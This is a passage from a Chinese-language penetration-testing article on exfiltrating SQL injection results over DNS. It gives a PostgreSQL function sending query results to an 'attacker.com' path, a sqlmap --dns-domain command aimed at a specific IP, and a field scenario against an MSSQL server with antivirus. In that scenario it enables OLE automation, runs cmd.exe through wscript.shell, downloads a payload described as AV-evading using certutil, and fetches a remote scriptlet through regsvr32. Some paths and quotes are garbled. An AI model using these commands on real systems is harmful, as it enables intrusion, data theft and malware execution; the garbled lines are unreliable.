利用DNS实现SQL注入带外查询( 二 )


exec_cmd := E'COPY table_output(content) FROM E'\\\\'||query_result||E'.attacker.com\\foobar.txt'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function;
No.6
sqlmap --dns-domain回显
准备:一个控制的域名:opendns.online
例子:发现uid存在注入

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online

利用DNS实现SQL注入带外查询

文章插图
使用tcpdump进行监听53d端口的udp流量:
tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53
利用DNS实现SQL注入带外查询

文章插图
我们可以看到,sqlmap将查询响应放在两个随机字符串之间,并将我们的域名附加到它以执行dns请求 。然后,在这些随机字符串的帮助下,它可以理解哪个请求响应特定查询并相应地生成结果 。
No.7
思路延伸
看到有同事在实战应用中碰到很多障碍,需要扎实的基础,才能有许多技巧去绕过 。碰到问题,解决问题,能够从中学习到很多 。
dns解析已经很成熟,但只是一种辅助手段,本质还是需要对常用数据库特性有深入理解 。
场景:
机器:windows 2008
数据库:MSSQL
注入点权限:DBA权限
服务器上安装:360+ESET NOD32 Antivirus
拥有—os-shell权限,能够执行命令(以前碰到这种环境,执行命令就结束了,现在有再好的思路,进一步获取shell)
面临的问题:
1.xp_cmdshell无法使用 。
2.服务器安装了杀软,常规手段会被查杀和阻断 。
3.虽然获得了os_shell终端,但无法回显执行情况 。
解决思路:
1.sqlmap在判断xp_cmdshell无法调用情况下,sp_oacreate用于创建OLE对象实例 。
开启相应功能:
EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行(解析:sp_oacreate初始化创建一个OLE对象wscript.shell,使用sp_oamethod调用OLE对象的方法,cmd.exe执行whoami命令再输出到c盘who.txt文件):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',,'c:windowssystem32cmd.exe /c whoami >C:who.txt'
2.现在的问题是无法回显执行的结果,选择使用dnslog方式进行带外查询,这里先使用burp collaborator 判断能否出网,如果能够正常出网,搭建python http.server服务器用于接收回显信息 。
3.使用os-shell>certutil -urlcache -split -f http://xx.xx.xx.xx:8000/1.exe下载payload(已免杀) 。
4.接收回显信息判断是否下载、运行成功,同时使用wmic process call create "regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll"探测进程1.exe是否正常运行成功 。
解决思路脑图如下:
利用DNS实现SQL注入带外查询

文章插图

【利用DNS实现SQL注入带外查询】


推荐阅读